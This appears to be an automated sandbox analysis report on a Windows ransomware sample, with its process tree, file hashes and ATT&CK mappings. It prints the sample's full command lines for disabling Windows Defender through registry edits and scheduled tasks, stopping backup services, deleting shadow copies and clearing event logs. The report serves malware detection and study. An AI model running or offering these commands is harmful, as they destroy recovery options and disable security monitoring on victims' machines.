Suspicious use of WriteProcessMemory 64 IoCs

Processes:

windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exe

description	pid	Process	procid_target
PID 2084 wrote to memory of 1796	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	29
PID 2084 wrote to memory of 1796	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	29
PID 2084 wrote to memory of 1796	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	29
PID 2084 wrote to memory of 1796	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	29
PID 1796 wrote to memory of 2524	1796	net.exe	31
PID 1796 wrote to memory of 2524	1796	net.exe	31
PID 1796 wrote to memory of 2524	1796	net.exe	31
PID 1796 wrote to memory of 2524	1796	net.exe	31
PID 2084 wrote to memory of 2488	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	32
PID 2084 wrote to memory of 2488	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	32
PID 2084 wrote to memory of 2488	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	32
PID 2084 wrote to memory of 2488	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	32
PID 2488 wrote to memory of 2592	2488	net.exe	34
PID 2488 wrote to memory of 2592	2488	net.exe	34
PID 2488 wrote to memory of 2592	2488	net.exe	34
PID 2488 wrote to memory of 2592	2488	net.exe	34
PID 2084 wrote to memory of 2604	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	35
PID 2084 wrote to memory of 2604	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	35
PID 2084 wrote to memory of 2604	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	35
PID 2084 wrote to memory of 2604	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	35
PID 2604 wrote to memory of 2584	2604	net.exe	37
PID 2604 wrote to memory of 2584	2604	net.exe	37
PID 2604 wrote to memory of 2584	2604	net.exe	37
PID 2604 wrote to memory of 2584	2604	net.exe	37
PID 2084 wrote to memory of 2540	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	38
PID 2084 wrote to memory of 2540	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	38
PID 2084 wrote to memory of 2540	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	38
PID 2084 wrote to memory of 2540	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	38
PID 2540 wrote to memory of 2776	2540	net.exe	40
PID 2540 wrote to memory of 2776	2540	net.exe	40
PID 2540 wrote to memory of 2776	2540	net.exe	40
PID 2540 wrote to memory of 2776	2540	net.exe	40
PID 2084 wrote to memory of 2396	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	41
PID 2084 wrote to memory of 2396	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	41
PID 2084 wrote to memory of 2396	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	41
PID 2084 wrote to memory of 2396	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	41
PID 2396 wrote to memory of 2644	2396	net.exe	43
PID 2396 wrote to memory of 2644	2396	net.exe	43
PID 2396 wrote to memory of 2644	2396	net.exe	43
PID 2396 wrote to memory of 2644	2396	net.exe	43
PID 2084 wrote to memory of 2772	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	44
PID 2084 wrote to memory of 2772	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	44
PID 2084 wrote to memory of 2772	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	44
PID 2084 wrote to memory of 2772	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	44
PID 2772 wrote to memory of 2424	2772	net.exe	46
PID 2772 wrote to memory of 2424	2772	net.exe	46
PID 2772 wrote to memory of 2424	2772	net.exe	46
PID 2772 wrote to memory of 2424	2772	net.exe	46
PID 2084 wrote to memory of 2556	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	47
PID 2084 wrote to memory of 2556	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	47
PID 2084 wrote to memory of 2556	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	47
PID 2084 wrote to memory of 2556	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	47
PID 2556 wrote to memory of 2404	2556	net.exe	49
PID 2556 wrote to memory of 2404	2556	net.exe	49
PID 2556 wrote to memory of 2404	2556	net.exe	49
PID 2556 wrote to memory of 2404	2556	net.exe	49
PID 2084 wrote to memory of 2420	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	50
PID 2084 wrote to memory of 2420	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	50
PID 2084 wrote to memory of 2420	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	50
PID 2084 wrote to memory of 2420	2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	50
PID 2420 wrote to memory of 2504	2420	net.exe	52
PID 2420 wrote to memory of 2504	2420	net.exe	52
PID 2420 wrote to memory of 2504	2420	net.exe	52
PID 2420 wrote to memory of 2504	2420	net.exe	52

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
"C:\Users\Admin\AppData\Local\Temp\windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe"
1⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2084
- C:\Windows\SysWOW64\net.exe
  net.exe stop "NetMsmqActivator" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1796
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "NetMsmqActivator" /y
    3⤵
    PID:2524
- C:\Windows\SysWOW64\net.exe
  net.exe stop "SamSs" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2488
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "SamSs" /y
    3⤵
    PID:2592
- C:\Windows\SysWOW64\net.exe
  net.exe stop "SDRSVC" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2604
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "SDRSVC" /y
    3⤵
    PID:2584
- C:\Windows\SysWOW64\net.exe
  net.exe stop "SstpSvc" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2540
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "SstpSvc" /y
    3⤵
    PID:2776
- C:\Windows\SysWOW64\net.exe
  net.exe stop "UI0Detect" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2396
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "UI0Detect" /y
    3⤵
    PID:2644
- C:\Windows\SysWOW64\net.exe
  net.exe stop "VSS" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2772
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "VSS" /y
    3⤵
    PID:2424
- C:\Windows\SysWOW64\net.exe
  net.exe stop "wbengine" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2556
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "wbengine" /y
    3⤵
    PID:2404
- C:\Windows\SysWOW64\net.exe
  net.exe stop "WebClient" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2420
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "WebClient" /y
    3⤵
    PID:2504
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "NetMsmqActivator" start= disabled
  2⤵
  - Launches sc.exe
  PID:1732
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "SamSs" start= disabled
  2⤵
  - Launches sc.exe
  PID:2936
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "SDRSVC" start= disabled
  2⤵
  - Launches sc.exe
  PID:1716
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "SstpSvc" start= disabled
  2⤵
  - Launches sc.exe
  PID:2276
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "UI0Detect" start= disabled
  2⤵
  - Launches sc.exe
  PID:1424
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "VSS" start= disabled
  2⤵
  - Launches sc.exe
  PID:1276
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "wbengine" start= disabled
  2⤵
  - Launches sc.exe
  PID:1264
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "WebClient" start= disabled
  2⤵
  - Launches sc.exe
  PID:2672
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:2164
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
  2⤵
  PID:1476
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
  2⤵
  PID:300
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
  2⤵
  PID:772
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
  2⤵
  PID:1540
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2172
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:112
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2272
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:1912
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:1728
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
  2⤵
  PID:1196
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
  2⤵
  PID:2696
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
  2⤵
  PID:2016
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
  2⤵
  PID:2848
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:2748
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:2732
- C:\Windows\SysWOW64\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
  2⤵
  PID:2200
- C:\Windows\SysWOW64\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
  2⤵
  PID:1104
- C:\Windows\SysWOW64\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
  2⤵
  PID:1920
- C:\Windows\SysWOW64\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
  2⤵
  PID:2120
- C:\Windows\SysWOW64\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
  2⤵
  PID:484
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
  2⤵
  PID:768
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
  2⤵
  PID:1404
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
  2⤵
  PID:1572
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:1780
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:1720
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:2356
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:2296
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:1956
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:708
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:2716
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  - Modifies security service
  PID:1204
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:328
- C:\Windows\SysWOW64\vssadmin.exe
  vssadmin.exe delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:844
- C:\Windows\SysWOW64\wevtutil.exe
  wevtutil.exe cl system
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:956
- C:\Windows\SysWOW64\wevtutil.exe
  wevtutil.exe cl security
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:1792
- C:\Windows\SysWOW64\wevtutil.exe
  wevtutil.exe cl application
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:276
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic.exe SHADOWCOPY /nointeractive
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:272
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic.exe shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3020
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
  2⤵
  PID:2804
- - C:\Program Files\Windows Defender\MpCmdRun.exe
    "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
    3⤵
    - Deletes Windows Defender Definitions
    PID:2232
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
  2⤵
  PID:900
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableIOAVProtection $true
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2264
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  PID:1528
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1656
- C:\Windows\SysWOW64\notepad.exe
  notepad.exe C:\EGdu_HOW_TO_DECRYPT.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:2868
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe"
  2⤵
  - Deletes itself
  PID:2856
- - C:\Windows\SysWOW64\PING.EXE
    ping.exe -n 5 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:1604

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Program Files\EGdu_HOW_TO_DECRYPT.txt

Filesize
1KB

MD5
4e68cfad3f3cbef5406c90fd9e9d7931

SHA1
504d53957bbed8e1a612c791eec7abdd17bd15bc

SHA256
51dc299391f9b3eca411936a0d01781ad68799d282655e0d20c8c8521aa8e014

SHA512
78c89847c3a7c128e5d54c3fff0e41c89a61722730b9d02d9c7e0b6985ce8188c3c37b6357a71c30f7e34c8b78f94599a186be6c189e56f6ccb832033e77172a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
77941ba8551aba1a2dee19979e76c5f0

SHA1
71f8c9e2ecd1f0fb879392bd0cff656d86936d31

SHA256
a4062f65ef28924f51343083f14e84e7ca4a98ff4dabfce07181ba9eac98bd26

SHA512
3bc7f251515cb0b499e4f904af18a244c83e635fb5f0f52e6c6e68657adfcf4a1826e6e11ce40f0e89280d85619a01a610f1a129e94eab71cbb052bb875798a2

Download Submit
C:\temp3.swap.uj1ps

Filesize
34.8MB

MD5
fef3cd6d7819f388afd1cdb214e3b015

SHA1
e47b4bd9b6135bc9fe06965b248f42f2514866f9

SHA256
da818217cf0288a507170fccfefa55725577ce7fb97cb971b2217b294fa2ba59

SHA512
1ace72cd6157784d672b08745eaa8c3268536cf0a1aba3e91a41ea5ae09466938208d3b3059b28dc02317ce7173a427062786637273b90325de78b9add318597

Download Submit
memory/1656-22-0x0000000074010000-0x00000000745BB000-memory.dmp

Filesize
5.7MB

Download
memory/1656-21-0x00000000028C0000-0x0000000002900000-memory.dmp

Filesize
256KB

Download
memory/1656-20-0x0000000074010000-0x00000000745BB000-memory.dmp

Filesize
5.7MB

Download
memory/1656-19-0x00000000028C0000-0x0000000002900000-memory.dmp

Filesize
256KB

Download
memory/1656-18-0x0000000074010000-0x00000000745BB000-memory.dmp

Filesize
5.7MB

Download
memory/2084-8007-0x0000000000CD0000-0x0000000000FE2000-memory.dmp

Filesize
3.1MB

Download
memory/2084-8037-0x0000000000CD0000-0x0000000000FE2000-memory.dmp

Filesize
3.1MB

Download
memory/2084-8095-0x0000000000CD0000-0x0000000000FE2000-memory.dmp

Filesize
3.1MB

Download
memory/2084-8073-0x0000000000CD0000-0x0000000000FE2000-memory.dmp

Filesize
3.1MB

Download
memory/2084-8043-0x0000000000CD0000-0x0000000000FE2000-memory.dmp

Filesize
3.1MB

Download
memory/2084-8012-0x0000000000CD0000-0x0000000000FE2000-memory.dmp

Filesize
3.1MB

Download
memory/2084-1455-0x0000000000CD0000-0x0000000000FE2000-memory.dmp

Filesize
3.1MB

Download
memory/2084-5909-0x0000000000CD0000-0x0000000000FE2000-memory.dmp

Filesize
3.1MB

Download
memory/2084-2-0x0000000000CD0000-0x0000000000FE2000-memory.dmp

Filesize
3.1MB

Download
memory/2084-8002-0x0000000000CD0000-0x0000000000FE2000-memory.dmp

Filesize
3.1MB

Download
memory/2084-0-0x0000000000CD0000-0x0000000000FE2000-memory.dmp

Filesize
3.1MB

Download
memory/2084-1-0x0000000000CD0000-0x0000000000FE2000-memory.dmp

Filesize
3.1MB

Download
memory/2264-8-0x00000000740B0000-0x000000007465B000-memory.dmp

Filesize
5.7MB

Download
memory/2264-12-0x00000000740B0000-0x000000007465B000-memory.dmp

Filesize
5.7MB

Download
memory/2264-10-0x0000000002980000-0x00000000029C0000-memory.dmp

Filesize
256KB

Download
memory/2264-11-0x0000000002980000-0x00000000029C0000-memory.dmp

Filesize
256KB

Download
memory/2264-9-0x00000000740B0000-0x000000007465B000-memory.dmp

Filesize
5.7MB

Download